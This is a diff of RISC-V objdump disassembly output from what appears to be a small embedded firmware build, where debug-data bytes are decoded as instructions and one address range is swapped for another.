+     be2:	21cd                	jal	10c4 <__stack_size+0x8c4>
+     be4:	0000                	unimp
+     be6:	0c01                	addi	s8,s8,0
+     be8:	2a06                	fld	fs4,64(sp)
+     bea:	401d                	c.li	zero,7
+     bec:	1a20                	addi	s0,sp,312
+     bee:	0000                	unimp
+     bf0:	0100                	addi	s0,sp,128
+     bf2:	7c9c                	flw	fa5,56(s1)
+     bf4:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
+     bf8:	6d7a                	flw	fs10,156(sp)
+     bfa:	0100                	addi	s0,sp,128
+     bfc:	2a0c                	fld	fa1,16(a2)
+     bfe:	01b2                	slli	gp,gp,0xc
+     c00:	0000                	unimp
+     c02:	03ee                	slli	t2,t2,0x1b
+     c04:	0000                	unimp
+     c06:	3815                	jal	43a <__stack_size-0x3c6>
+     c08:	401d                	c.li	zero,7
+     c0a:	bf20                	fsd	fs0,120(a4)
+     c0c:	17000003          	lb	zero,368(zero) # 170 <__stack_size-0x690>
+     c10:	1d44                	addi	s1,sp,692
+     c12:	2040                	fld	fs0,128(s0)
+     c14:	000003bf 035a0112 	0x35a0112000003bf
+     c1c:	005a01f3          	0x5a01f3
+     c20:	1800                	addi	s0,sp,48
+     c22:	a25c                	fsd	fa5,128(a2)
+     c24:	0000                	unimp
+     c26:	0401                	addi	s0,s0,0
+     c28:	b215                	j	54c <__stack_size-0x2b4>
+     c2a:	0001                	nop
+     c2c:	1200                	addi	s0,sp,288
+     c2e:	401d                	c.li	zero,7
+     c30:	1820                	addi	s0,sp,56
+     c32:	0000                	unimp
+     c34:	0100                	addi	s0,sp,128
+     c36:	b39c                	fsd	fa5,32(a5)
+     c38:	19000003          	lb	zero,400(zero) # 190 <__stack_size-0x670>
+     c3c:	6d7a                	flw	fs10,156(sp)
+     c3e:	0100                	addi	s0,sp,128
+     c40:	1606                	slli	a2,a2,0x21
+     c42:	01b2                	slli	gp,gp,0xc
+     c44:	0000                	unimp
+     c46:	5a01                	li	s4,-32
+     c48:	401d1c13          	0x401d1c13
+     c4c:	cb20                	sw	s0,80(a4)
+     c4e:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     c52:	5a01                	li	s4,-32
+     c54:	3801                	jal	464 <__stack_size-0x39c>
+     c56:	0000                	unimp
+     c58:	0c1a                	slli	s8,s8,0x6
+     c5a:	0071                	c.nop	28
+     c5c:	0c00                	addi	s0,sp,528
+     c5e:	0071                	c.nop	28
+     c60:	0300                	addi	s0,sp,384
+     c62:	0929                	addi	s2,s2,10
+     c64:	9b1a                	add	s6,s6,t1
+     c66:	0021                	c.nop	8
+     c68:	9b00                	0x9b00
+     c6a:	0021                	c.nop	8
+     c6c:	0400                	addi	s0,sp,512
+     c6e:	065e                	slli	a2,a2,0x17
+     c70:	aa1a                	fsd	ft6,272(sp)
+     c72:	0026                	c.slli	zero,0x9
+     c74:	aa00                	fsd	fs0,16(a2)
+     c76:	0026                	c.slli	zero,0x9
+     c78:	0400                	addi	s0,sp,512
+     c7a:	076c                	addi	a1,sp,908
+     c7c:	391a                	fld	fs2,416(sp)
+     c7e:	39000013          	li	zero,912
+     c82:	03000013          	li	zero,48
+     c86:	091f 551a 00a2      	0xa2551a091f
+     c8c:	5500                	lw	s0,40(a0)
+     c8e:	00a2                	slli	ra,ra,0x8
+     c90:	0300                	addi	s0,sp,384
+     c92:	0921                	addi	s2,s2,8
+     c94:	7b00                	flw	fs0,48(a4)
+     c96:	000d                	c.nop	3
+     c98:	0400                	addi	s0,sp,512
+     c9a:	8500                	0x8500
+     c9c:	04000003          	lb	zero,64(zero) # 40 <__stack_size-0x7c0>
+     ca0:	ad01                	j	12b0 <__stack_size+0xab0>
+     ca2:	004e                	c.slli	zero,0x13
+     ca4:	0c00                	addi	s0,sp,528
+     ca6:	a33c                	fsd	fa5,64(a4)
+     ca8:	0000                	unimp
+     caa:	001a                	c.slli	zero,0x6
+     cac:	0000                	unimp
+     cae:	0198                	addi	a4,sp,192
+     cb0:	0000                	unimp
+     cb2:	0000                	unimp
+     cb4:	0000                	unimp
+     cb6:	10fd                	addi	ra,ra,-1
+     cb8:	0000                	unimp
+     cba:	2a8e                	fld	fs5,192(sp)
+     cbc:	0000                	unimp
+     cbe:	0102                	c.slli64	sp
+     cc0:	6d06                	flw	fs10,64(sp)
+     cc2:	007f                	0x7f
+     cc4:	0200                	addi	s0,sp,256
+     cc6:	0502                	c.slli64	a0
+     cc8:	3822                	fld	fa6,40(sp)
+     cca:	0000                	unimp
+     ccc:	0402                	c.slli64	s0
+     cce:	8405                	srai	s0,s0,0x1
+     cd0:	0051                	c.nop	20
+     cd2:	0200                	addi	s0,sp,256
+     cd4:	0508                	addi	a0,sp,640
+     cd6:	90b6                	add	ra,ra,a3
+     cd8:	0000                	unimp
+     cda:	00047603          	0x47603
+     cde:	0200                	addi	s0,sp,256
+     ce0:	182e                	slli	a6,a6,0x2b
+     ce2:	0051                	c.nop	20
+     ce4:	0000                	unimp
+     ce6:	0102                	c.slli64	sp
+     ce8:	a008                	fsd	fa0,0(s0)
+     cea:	03000013          	li	zero,48
+     cee:	2271                	jal	e7a <__stack_size+0x67a>
+     cf0:	0000                	unimp
+     cf2:	3102                	fld	ft2,32(sp)
+     cf4:	6419                	lui	s0,0x6
+     cf6:	0000                	unimp
+     cf8:	0200                	addi	s0,sp,256
+     cfa:	0702                	c.slli64	a4
+     cfc:	00009bf7          	0x9bf7
+     d00:	0027ed03          	0x27ed03
+     d04:	0200                	addi	s0,sp,256
+     d06:	1934                	addi	a3,sp,184
+     d08:	00000077          	0x77
+     d0c:	0402                	c.slli64	s0
+     d0e:	0065cd07          	flq	fs10,6(a1)
+     d12:	0200                	addi	s0,sp,256
+     d14:	0708                	addi	a0,sp,896
+     d16:	00000617          	auipc	a2,0x0
+     d1a:	0404                	addi	s1,sp,512
+     d1c:	6905                	lui	s2,0x1
+     d1e:	746e                	flw	fs0,248(sp)
+     d20:	0500                	addi	s0,sp,640
+     d22:	0085                	addi	ra,ra,1
+     d24:	0000                	unimp
+     d26:	0402                	c.slli64	s0
+     d28:	0071e507          	0x71e507
+     d2c:	0600                	addi	s0,sp,768
+     d2e:	9e04                	0x9e04
      d30:	0000                	unimp
-     d32:	0d20                	addi	s0,sp,664
-     d34:	0000                	unimp
-     d36:	025a0113          	addi	sp,s4,37
-     d3a:	0078                	addi	a4,sp,12
-     d3c:	055b0113          	addi	sp,s6,85
-     d40:	4058e003          	0x4058e003
-     d44:	0020                	addi	s0,sp,8
-     d46:	fe12                	fsw	ft4,60(sp)
-     d48:	4024                	lw	s1,64(s0)
-     d4a:	3820                	fld	fs0,112(s0)
-     d4c:	001d                	c.nop	7
-     d4e:	3d00                	fld	fs0,56(a0)
-     d50:	000d                	c.nop	3
-     d52:	1300                	addi	s0,sp,416
-     d54:	5a01                	li	s4,-32
-     d56:	7802                	flw	fa6,32(sp)
-     d58:	1300                	addi	s0,sp,416
-     d5a:	5b01                	li	s6,-32
-     d5c:	0305                	addi	t1,t1,1
-     d5e:	5920                	lw	s0,112(a0)
-     d60:	2040                	fld	fs0,128(s0)
-     d62:	1200                	addi	s0,sp,288
-     d64:	255c                	fld	fa5,136(a0)
-     d66:	2040                	fld	fs0,128(s0)
-     d68:	1d38                	addi	a4,sp,696
-     d6a:	0000                	unimp
-     d6c:	0d5a                	slli	s10,s10,0x16
-     d6e:	0000                	unimp
-     d70:	025a0113          	addi	sp,s4,37
-     d74:	0078                	addi	a4,sp,12
-     d76:	055b0113          	addi	sp,s6,85
-     d7a:	40596c03          	0x40596c03
-     d7e:	0020                	addi	s0,sp,8
-     d80:	a412                	fsd	ft4,8(sp)
-     d82:	4025                	c.li	zero,9
-     d84:	3820                	fld	fs0,112(s0)
-     d86:	001d                	c.nop	7
-     d88:	7700                	flw	fs0,40(a4)
-     d8a:	000d                	c.nop	3
-     d8c:	1300                	addi	s0,sp,416
-     d8e:	5a01                	li	s4,-32
-     d90:	7802                	flw	fa6,32(sp)
-     d92:	1300                	addi	s0,sp,416
-     d94:	5b01                	li	s6,-32
-     d96:	0305                	addi	t1,t1,1
-     d98:	5974                	lw	a3,116(a0)
-     d9a:	2040                	fld	fs0,128(s0)
-     d9c:	1200                	addi	s0,sp,288
-     d9e:	2658                	fld	fa4,136(a2)
-     da0:	2040                	fld	fs0,128(s0)
-     da2:	1d38                	addi	a4,sp,696
-     da4:	0000                	unimp
-     da6:	0d94                	addi	a3,sp,720
-     da8:	0000                	unimp
-     daa:	025a0113          	addi	sp,s4,37
-     dae:	0078                	addi	a4,sp,12
-     db0:	055b0113          	addi	sp,s6,85
-     db4:	4059ac03          	lw	s8,1029(s3)
-     db8:	0020                	addi	s0,sp,8
-     dba:	6a1e                	flw	fs4,196(sp)
-     dbc:	4026                	0x4026
-     dbe:	ca20                	sw	s0,80(a2)
-     dc0:	0011                	c.nop	4
-     dc2:	1200                	addi	s0,sp,288
-     dc4:	2678                	fld	fa4,200(a2)
-     dc6:	2040                	fld	fs0,128(s0)
-     dc8:	1d38                	addi	a4,sp,696
-     dca:	0000                	unimp
-     dcc:	0dba                	slli	s11,s11,0xe
-     dce:	0000                	unimp
-     dd0:	025a0113          	addi	sp,s4,37
-     dd4:	0078                	addi	a4,sp,12
-     dd6:	055b0113          	addi	sp,s6,85
-     dda:	4059b403          	0x4059b403
-     dde:	0020                	addi	s0,sp,8
-     de0:	8e12                	mv	t3,tp
-     de2:	4026                	0x4026
-     de4:	3820                	fld	fs0,112(s0)
-     de6:	001d                	c.nop	7
-     de8:	d700                	sw	s0,40(a4)
-     dea:	000d                	c.nop	3
-     dec:	1300                	addi	s0,sp,416
-     dee:	5a01                	li	s4,-32
-     df0:	7802                	flw	fa6,32(sp)
-     df2:	1300                	addi	s0,sp,416
-     df4:	5b01                	li	s6,-32
-     df6:	0305                	addi	t1,t1,1
-     df8:	59bc                	lw	a5,112(a1)
-     dfa:	2040                	fld	fs0,128(s0)
-     dfc:	1e00                	addi	s0,sp,816
-     dfe:	269e                	fld	fa3,448(sp)
-     e00:	2040                	fld	fs0,128(s0)
-     e02:	1058                	addi	a4,sp,36
-     e04:	0000                	unimp
-     e06:	ac12                	fsd	ft4,24(sp)
-     e08:	4026                	0x4026
-     e0a:	3820                	fld	fs0,112(s0)
-     e0c:	001d                	c.nop	7
-     e0e:	fd00                	fsw	fs0,56(a0)
-     e10:	000d                	c.nop	3
-     e12:	1300                	addi	s0,sp,416
-     e14:	5a01                	li	s4,-32
-     e16:	7802                	flw	fa6,32(sp)
-     e18:	1300                	addi	s0,sp,416
-     e1a:	5b01                	li	s6,-32
-     e1c:	0305                	addi	t1,t1,1
-     e1e:	59c0                	lw	s0,52(a1)
-     e20:	2040                	fld	fs0,128(s0)
-     e22:	1b00                	addi	s0,sp,432
-     e24:	26c2                	fld	fa3,16(sp)
-     e26:	2040                	fld	fs0,128(s0)
-     e28:	1d38                	addi	a4,sp,696
-     e2a:	0000                	unimp
-     e2c:	025a0113          	addi	sp,s4,37
-     e30:	0078                	addi	a4,sp,12
-     e32:	055b0113          	addi	sp,s6,85
-     e36:	4059c803          	lbu	a6,1029(s3)
-     e3a:	0020                	addi	s0,sp,8
-     e3c:	0800                	addi	s0,sp,16
-     e3e:	00f8                	addi	a4,sp,76
-     e40:	0000                	unimp
-     e42:	00000e27          	0xe27
-     e46:	a009                	j	e48 <__stack_size+0x648>
-     e48:	0000                	unimp
-     e4a:	0300                	addi	s0,sp,384
-     e4c:	0800                	addi	s0,sp,16
-     e4e:	00ec                	addi	a1,sp,76
+     d32:	0200                	addi	s0,sp,256
+     d34:	0801                	addi	a6,a6,0
+     d36:	7f74                	flw	fa3,124(a4)
+     d38:	0000                	unimp
+     d3a:	9e05                	0x9e05
+     d3c:	0000                	unimp
+     d3e:	0200                	addi	s0,sp,256
+     d40:	0410                	addi	a2,sp,512
+     d42:	00009233          	sll	tp,ra,zero
+     d46:	0406                	slli	s0,s0,0x1
+     d48:	00a5                	addi	ra,ra,9
+     d4a:	0000                	unimp
+     d4c:	008b6d07          	0x8b6d07
+     d50:	0800                	addi	s0,sp,16
+     d52:	df080a03          	lb	s4,-528(a6) # 4b054 <__stack_size+0x4a854>
+     d56:	0000                	unimp
+     d58:	0800                	addi	s0,sp,16
+     d5a:	656c                	flw	fa1,76(a0)
+     d5c:	006e                	c.slli	zero,0x1b
+     d5e:	580b0b03          	lb	s6,1408(s6)
+     d62:	0000                	unimp
+     d64:	0000                	unimp
+     d66:	a009                	j	d68 <__stack_size+0x568>
+     d68:	0010                	0x10
+     d6a:	0300                	addi	s0,sp,384
+     d6c:	080c                	addi	a1,sp,16
+     d6e:	0098                	addi	a4,sp,64
+     d70:	0000                	unimp
+     d72:	0004                	0x4
+     d74:	d50a                	sw	sp,168(sp)
+     d76:	0022                	c.slli	zero,0x8
+     d78:	0700                	addi	s0,sp,896
+     d7a:	9104                	0x9104
+     d7c:	0000                	unimp
+     d7e:	0300                	addi	s0,sp,384
+     d80:	00fe060f          	0xfe060f
+     d84:	0000                	unimp
+     d86:	004dc40b          	0x4dc40b
+     d8a:	0000                	unimp
+     d8c:	009e520b          	0x9e520b
+     d90:	0100                	addi	s0,sp,128
+     d92:	0c00                	addi	s0,sp,528
+     d94:	00005773          	csrrwi	a4,ustatus,0
+     d98:	b1151203          	lh	tp,-1263(a0) # 1ab11 <__stack_size+0x1a311>
+     d9c:	0000                	unimp
+     d9e:	0d00                	addi	s0,sp,656
+     da0:	8b69                	andi	a4,a4,26
+     da2:	0000                	unimp
+     da4:	8d01                	sub	a0,a0,s0
+     da6:	7315                	lui	t1,0xfffe5
+     da8:	0005                	c.nop	1
+     daa:	4600                	lw	s0,8(a2)
+     dac:	4020                	lw	s0,64(s0)
+     dae:	5220                	lw	s0,96(a2)
+     db0:	0002                	c.slli64	zero
+     db2:	0100                	addi	s0,sp,128
+     db4:	739c                	flw	fa5,32(a5)
+     db6:	0005                	c.nop	1
+     db8:	0e00                	addi	s0,sp,784
+     dba:	6d7a                	flw	fs10,156(sp)
+     dbc:	0100                	addi	s0,sp,128
+     dbe:	398d                	jal	a30 <__stack_size+0x230>
+     dc0:	00000573          	0x573
+     dc4:	0425                	addi	s0,s0,9
+     dc6:	0000                	unimp
+     dc8:	00a2e80f          	0xa2e80f
+     dcc:	0100                	addi	s0,sp,128
+     dce:	458d                	li	a1,3
+     dd0:	0045                	c.nop	17
+     dd2:	0000                	unimp
+     dd4:	0459                	addi	s0,s0,22
+     dd6:	0000                	unimp
+     dd8:	00a24b0f          	0xa24b0f
+     ddc:	0100                	addi	s0,sp,128
+     dde:	638d                	lui	t2,0x3
+     de0:	00df 0000 047a      	0x47a000000df
+     de6:	0000                	unimp
+     de8:	7a10                	flw	fa2,48(a2)
+     dea:	626d                	lui	tp,0x1b
+     dec:	0100                	addi	s0,sp,128
+     dee:	0098088f          	0x98088f
+     df2:	0000                	unimp
+     df4:	000004bf 00a30b11 	0xa30b11000004bf
+     dfc:	0100                	addi	s0,sp,128
+     dfe:	0b91                	addi	s7,s7,4
+     e00:	0058                	addi	a4,sp,4
+     e02:	0000                	unimp
+     e04:	04dd                	addi	s1,s1,23
+     e06:	0000                	unimp
+     e08:	6c10                	flw	fa2,24(s0)
+     e0a:	6e65                	lui	t3,0x19
+     e0c:	0100                	addi	s0,sp,128
+     e0e:	00580b93          	addi	s7,a6,5
+     e12:	0000                	unimp
+     e14:	000004fb          	0x4fb
+     e18:	6111                	addi	sp,sp,256
+     e1a:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+     e1e:	0bb0                	addi	a2,sp,472
+     e20:	0058                	addi	a4,sp,4
+     e22:	0000                	unimp
+     e24:	0519                	addi	a0,a0,6
+     e26:	0000                	unimp
+     e28:	7812                	flw	fa6,36(sp)
+     e2a:	4021                	c.li	zero,8
+     e2c:	a620                	fsd	fs0,72(a2)
+     e2e:	0000                	unimp
+     e30:	1000                	addi	s0,sp,32
+     e32:	10000003          	lb	zero,256(zero) # 100 <__stack_size-0x700>
+     e36:	6264                	flw	fs1,68(a2)
+     e38:	9c010067          	jr	-1600(sp)
+     e3c:	9809                	andi	s0,s0,-30
+     e3e:	0000                	unimp
+     e40:	4e00                	lw	s0,24(a2)
+     e42:	0005                	c.nop	1
+     e44:	1200                	addi	s0,sp,288
+     e46:	21a4                	fld	fs1,64(a1)
+     e48:	2040                	fld	fs0,128(s0)
+     e4a:	0076                	c.slli	zero,0x1d
+     e4c:	0000                	unimp
+     e4e:	02a0                	addi	s0,sp,328
      e50:	0000                	unimp
-     e52:	00000e37          	lui	t3,0x0
-     e56:	a009                	j	e58 <__stack_size+0x658>
-     e58:	0000                	unimp
-     e5a:	0f00                	addi	s0,sp,912
-     e5c:	1c00                	addi	s0,sp,560
-     e5e:	2284                	fld	fs1,0(a3)
+     e52:	7310                	flw	fa2,32(a4)
+     e54:	7274                	flw	fa3,100(a2)
+     e56:	0100                	addi	s0,sp,128
+     e58:	039f 0098 0000      	0x98039f
+     e5e:	056c                	addi	a1,sp,652
      e60:	0000                	unimp
-     e62:	3101                	jal	a62 <__stack_size+0x262>
-     e64:	0601                	addi	a2,a2,0
-     e66:	21c8                	fld	fa0,128(a1)
-     e68:	2040                	fld	fs0,128(s0)
-     e6a:	0124                	addi	s1,sp,136
-     e6c:	0000                	unimp
-     e6e:	9c01                	0x9c01
-     e70:	1032                	c.slli	zero,0x2c
-     e72:	0000                	unimp
-     e74:	7316                	flw	ft6,100(sp)
-     e76:	7274                	flw	fa3,100(a2)
-     e78:	0100                	addi	s0,sp,128
-     e7a:	320e0133          	0x320e0133
-     e7e:	0010                	0x10
-     e80:	0500                	addi	s0,sp,640
-     e82:	00d9ec03          	0xd9ec03
-     e86:	1680                	addi	s0,sp,864
-     e88:	0070                	addi	a2,sp,12
-     e8a:	3401                	jal	88a <__stack_size+0x8a>
-     e8c:	0f01                	addi	t5,t5,0
-     e8e:	1048                	addi	a0,sp,36
-     e90:	0000                	unimp
-     e92:	0305                	addi	t1,t1,1
-     e94:	d800                	sw	s0,48(s0)
-     e96:	8000                	0x8000
-     e98:	0720                	addi	s0,sp,904
-     e9a:	a004                	fsd	fs1,0(s0)
-     e9c:	0000                	unimp
-     e9e:	0100                	addi	s0,sp,128
-     ea0:	0136                	slli	sp,sp,0xd
-     ea2:	000e9a0f          	0xe9a0f
-     ea6:	2100                	fld	fs0,0(a0)
-     ea8:	004a                	c.slli	zero,0x12
-     eaa:	0000                	unimp
-     eac:	2101                	jal	12ac <__stack_size+0xaac>
-     eae:	00008563          	beqz	ra,eb8 <__stack_size+0x6b8>
-     eb2:	2102                	fld	ft2,0(sp)
-     eb4:	000038af          	0x38af
-     eb8:	38b52103          	lw	sp,907(a0)
-     ebc:	0000                	unimp
-     ebe:	0004                	0x4
-     ec0:	8822                	mv	a6,s0
-     ec2:	01000023          	sb	a6,0(zero) # 0 <__stack_size-0x800>
-     ec6:	0136                	slli	sp,sp,0xd
-     ec8:	722e                	flw	ft4,232(sp)
-     eca:	000e                	c.slli	zero,0x3
-     ecc:	1900                	addi	s0,sp,176
-     ece:	0178                	addi	a4,sp,140
-     ed0:	0000                	unimp
-     ed2:	791d                	lui	s2,0xfffe7
-     ed4:	000e                	c.slli	zero,0x3
-     ed6:	0100                	addi	s0,sp,128
-     ed8:	0138                	addi	a4,sp,136
-     eda:	9a0c                	0x9a0c
-     edc:	000e                	c.slli	zero,0x3
-     ede:	6400                	flw	fs0,8(s0)
-     ee0:	0005                	c.nop	1
-     ee2:	1900                	addi	s0,sp,176
-     ee4:	0198                	addi	a4,sp,192
-     ee6:	0000                	unimp
-     ee8:	6d16                	flw	fs10,68(sp)
-     eea:	01006773          	csrrsi	a4,0x10,0
-     eee:	013a                	slli	sp,sp,0xe
-     ef0:	270e                	fld	fa4,192(sp)
-     ef2:	000e                	c.slli	zero,0x3
-     ef4:	0200                	addi	s0,sp,256
-     ef6:	4091                	li	ra,4
-     ef8:	1e10                	addi	a2,sp,816
-     efa:	4022                	0x4022
-     efc:	1420                	addi	s0,sp,552
-     efe:	0000                	unimp
-     f00:	2600                	fld	fs0,8(a2)
-     f02:	1600000f          	0x1600000f
-     f06:	3061                	jal	78e <__stack_size-0x72>
-     f08:	0100                	addi	s0,sp,128
-     f0a:	013c                	addi	a5,sp,136
-     f0c:	0000c407          	flq	fs0,0(ra)
-     f10:	0100                	addi	s0,sp,128
-     f12:	165a                	slli	a2,a2,0x36
-     f14:	3261                	jal	89c <__stack_size+0x9c>
-     f16:	0100                	addi	s0,sp,128
-     f18:	013c                	addi	a5,sp,136
-     f1a:	0000c407          	flq	fs0,0(ra)
-     f1e:	0100                	addi	s0,sp,128
-     f20:	165c                	addi	a5,sp,804
-     f22:	3361                	jal	caa <__stack_size+0x4aa>
-     f24:	0100                	addi	s0,sp,128
-     f26:	013c                	addi	a5,sp,136
-     f28:	0000c407          	flq	fs0,0(ra)
-     f2c:	0100                	addi	s0,sp,128
-     f2e:	165d                	addi	a2,a2,-9
-     f30:	3461                	jal	9b8 <__stack_size+0x1b8>
-     f32:	0100                	addi	s0,sp,128
-     f34:	013c                	addi	a5,sp,136
-     f36:	0000c407          	flq	fs0,0(ra)
-     f3a:	0100                	addi	s0,sp,128
-     f3c:	165e                	slli	a2,a2,0x37
-     f3e:	3561                	jal	dc6 <__stack_size+0x5c6>
-     f40:	0100                	addi	s0,sp,128
-     f42:	013c                	addi	a5,sp,136
-     f44:	0000c407          	flq	fs0,0(ra)
-     f48:	0100                	addi	s0,sp,128
-     f4a:	005f b01a 0001      	0x1b01a005f
-     f50:	3e00                	fld	fs0,56(a2)
-     f52:	1600000f          	0x1600000f
-     f56:	3061                	jal	7de <__stack_size-0x22>
-     f58:	0100                	addi	s0,sp,128
-     f5a:	c405013f 01000000 	0x1000000c405013f
-     f62:	005a                	c.slli	zero,0x16
-     f64:	3c12                	fld	fs8,288(sp)
-     f66:	4022                	0x4022
-     f68:	3820                	fld	fs0,112(s0)
-     f6a:	001d                	c.nop	7
-     f6c:	5800                	lw	s0,48(s0)
-     f6e:	1300000f          	0x1300000f
-     f72:	5a01                	li	s4,-32
-     f74:	8402                	jr	s0
-     f76:	1300                	addi	s0,sp,416
-     f78:	5b01                	li	s6,-32
-     f7a:	7202                	flw	ft4,32(sp)
-     f7c:	0000                	unimp
-     f7e:	8812                	mv	a6,tp
-     f80:	4022                	0x4022
-     f82:	8a20                	0x8a20
-     f84:	001d                	c.nop	7
-     f86:	7100                	flw	fs0,32(a0)
-     f88:	1300000f          	0x1300000f
-     f8c:	5b01                	li	s6,-32
-     f8e:	7202                	flw	ft4,32(sp)
-     f90:	1300                	addi	s0,sp,416
-     f92:	5c01                	li	s8,-32
-     f94:	4001                	c.li	zero,0
-     f96:	1200                	addi	s0,sp,288
-     f98:	229a                	fld	ft5,384(sp)
-     f9a:	2040                	fld	fs0,128(s0)
-     f9c:	1d96                	slli	s11,s11,0x25
-     f9e:	0000                	unimp
-     fa0:	0f8a                	slli	t6,t6,0x2
+     e62:	b812                	fsd	ft4,48(sp)
+     e64:	4021                	c.li	zero,8
+     e66:	6220                	flw	fs0,64(a2)
+     e68:	0000                	unimp
+     e6a:	7000                	flw	fs0,32(s0)
+     e6c:	0002                	c.slli64	zero
+     e6e:	1000                	addi	s0,sp,32
+     e70:	656c                	flw	fa1,76(a0)
+     e72:	006e                	c.slli	zero,0x1b
+     e74:	9f01                	0x9f01
+     e76:	00008c03          	lb	s8,0(ra)
+     e7a:	8a00                	0x8a00
+     e7c:	0005                	c.nop	1
+     e7e:	1200                	addi	s0,sp,288
+     e80:	21dc                	fld	fa5,128(a1)
+     e82:	2040                	fld	fs0,128(s0)
+     e84:	003a                	c.slli	zero,0xe
+     e86:	0000                	unimp
+     e88:	0219                	addi	tp,tp,6
+     e8a:	0000                	unimp
+     e8c:	6910                	flw	fa2,16(a0)
+     e8e:	0100                	addi	s0,sp,128
+     e90:	039f 0085 0000      	0x85039f
+     e96:	059d                	addi	a1,a1,7
+     e98:	0000                	unimp
+     e9a:	00018013          	mv	zero,gp
+     e9e:	1400                	addi	s0,sp,544
+     ea0:	3061                	jal	728 <__stack_size-0xd8>
+     ea2:	0100                	addi	s0,sp,128
+     ea4:	039f 006b 0000      	0x6b039f
+     eaa:	5a01                	li	s4,-32
+     eac:	0000                	unimp
+     eae:	c215                	beqz	a2,ed2 <__stack_size+0x6d2>
+     eb0:	4021                	c.li	zero,8
+     eb2:	d520                	sw	s0,104(a0)
+     eb4:	000c                	0xc
+     eb6:	3000                	fld	fs0,32(s0)
+     eb8:	0002                	c.slli64	zero
+     eba:	1600                	addi	s0,sp,800
+     ebc:	5a01                	li	s4,-32
+     ebe:	0305                	addi	t1,t1,1
+     ec0:	4264                	lw	s1,68(a2)
+     ec2:	2040                	fld	fs0,128(s0)
+     ec4:	1500                	addi	s0,sp,672
+     ec6:	21dc                	fld	fa5,128(a1)
+     ec8:	2040                	fld	fs0,128(s0)
+     eca:	0ce1                	addi	s9,s9,24
+     ecc:	0000                	unimp
+     ece:	025f 0000 0116      	0x1160000025f
+     ed4:	025a                	slli	tp,tp,0x16
+     ed6:	0084                	addi	s1,sp,64
+     ed8:	0116                	slli	sp,sp,0x5
+     eda:	8008025b          	0x8008025b
+     ede:	0116                	slli	sp,sp,0x5
+     ee0:	055c                	addi	a5,sp,644
+     ee2:	4043d003          	lhu	zero,1028(t2) # 3404 <__stack_size+0x2c04>
+     ee6:	1620                	addi	s0,sp,808
+     ee8:	5d01                	li	s10,-32
+     eea:	7802                	flw	fa6,32(sp)
+     eec:	1600                	addi	s0,sp,800
+     eee:	5f01                	li	t5,-32
+     ef0:	8302                	jr	t1
+     ef2:	0000                	unimp
+     ef4:	40221a17          	auipc	s4,0x40221
+     ef8:	ee20                	fsw	fs0,88(a2)
+     efa:	000c                	0xc
+     efc:	1600                	addi	s0,sp,800
+     efe:	5a01                	li	s4,-32
+     f00:	8402                	jr	s0
+     f02:	0000                	unimp
+     f04:	1500                	addi	s0,sp,672
+     f06:	21aa                	fld	ft3,136(sp)
+     f08:	2040                	fld	fs0,128(s0)
+     f0a:	0cfa                	slli	s9,s9,0x1e
+     f0c:	0000                	unimp
+     f0e:	0284                	addi	s1,sp,320
+     f10:	0000                	unimp
+     f12:	0116                	slli	sp,sp,0x5
+     f14:	025a                	slli	tp,tp,0x16
+     f16:	8008                	0x8008
+     f18:	1700                	addi	s0,sp,928
+     f1a:	21b4                	fld	fa3,64(a1)
+     f1c:	2040                	fld	fs0,128(s0)
+     f1e:	0d06                	slli	s10,s10,0x1
+     f20:	0000                	unimp
+     f22:	0116                	slli	sp,sp,0x5
+     f24:	025a                	slli	tp,tp,0x16
+     f26:	0084                	addi	s1,sp,64
+     f28:	0116                	slli	sp,sp,0x5
+     f2a:	1630015b          	0x1630015b
+     f2e:	5c01                	li	s8,-32
+     f30:	0802                	c.slli64	a6
+     f32:	0080                	addi	s0,sp,64
+     f34:	1500                	addi	s0,sp,672
+     f36:	217e                	fld	ft2,472(sp)
+     f38:	2040                	fld	fs0,128(s0)
+     f3a:	0d12                	slli	s10,s10,0x4
+     f3c:	0000                	unimp
+     f3e:	02ba                	slli	t0,t0,0xe
+     f40:	0000                	unimp
+     f42:	0116                	slli	sp,sp,0x5
+     f44:	025a                	slli	tp,tp,0x16
+     f46:	0079                	c.nop	30
+     f48:	0116                	slli	sp,sp,0x5
+     f4a:	0086025b          	0x86025b
+     f4e:	1500                	addi	s0,sp,672
+     f50:	2186                	fld	ft3,64(sp)
+     f52:	2040                	fld	fs0,128(s0)
+     f54:	0cfa                	slli	s9,s9,0x1e
+     f56:	0000                	unimp
+     f58:	02ce                	slli	t0,t0,0x13
+     f5a:	0000                	unimp
+     f5c:	0116                	slli	sp,sp,0x5
+     f5e:	025a                	slli	tp,tp,0x16
+     f60:	0184                	addi	s1,sp,192
+     f62:	1500                	addi	s0,sp,672
+     f64:	2192                	fld	ft3,256(sp)
+     f66:	2040                	fld	fs0,128(s0)
+     f68:	0cd5                	addi	s9,s9,21
+     f6a:	0000                	unimp
+     f6c:	02e5                	addi	t0,t0,25
+     f6e:	0000                	unimp
+     f70:	0116                	slli	sp,sp,0x5
+     f72:	055a                	slli	a0,a0,0x16
+     f74:	40426403          	0x40426403
+     f78:	0020                	addi	s0,sp,8
+     f7a:	9e15                	0x9e15
+     f7c:	4021                	c.li	zero,8
+     f7e:	1e20                	addi	s0,sp,824
+     f80:	000d                	c.nop	3
+     f82:	ff00                	fsw	fs0,56(a4)
+     f84:	0002                	c.slli64	zero
+     f86:	1600                	addi	s0,sp,800
+     f88:	5a01                	li	s4,-32
+     f8a:	8302                	jr	t1
+     f8c:	1600                	addi	s0,sp,800
+     f8e:	5c01                	li	s8,-32
+     f90:	8402                	jr	s0
+     f92:	0000                	unimp
+     f94:	40221e17          	auipc	t3,0x40221
+     f98:	ee20                	fsw	fs0,88(a2)
+     f9a:	000c                	0xc
+     f9c:	1600                	addi	s0,sp,800
+     f9e:	5a01                	li	s4,-32
+     fa0:	8302                	jr	t1
      fa2:	0000                	unimp
-     fa4:	025a0113          	addi	sp,s4,37
-     fa8:	0072                	c.slli	zero,0x1c
-     faa:	015b0113          	addi	sp,s6,21
-     fae:	0040                	addi	s0,sp,4
-     fb0:	a812                	fsd	ft4,16(sp)
-     fb2:	4022                	0x4022
-     fb4:	1420                	addi	s0,sp,552
-     fb6:	001d                	c.nop	7
-     fb8:	a800                	fsd	fs0,16(s0)
-     fba:	1300000f          	0x1300000f
-     fbe:	5a01                	li	s4,-32
-     fc0:	3101                	jal	bc0 <__stack_size+0x3c0>
-     fc2:	025b0113          	addi	sp,s6,37
-     fc6:	0086                	slli	ra,ra,0x1
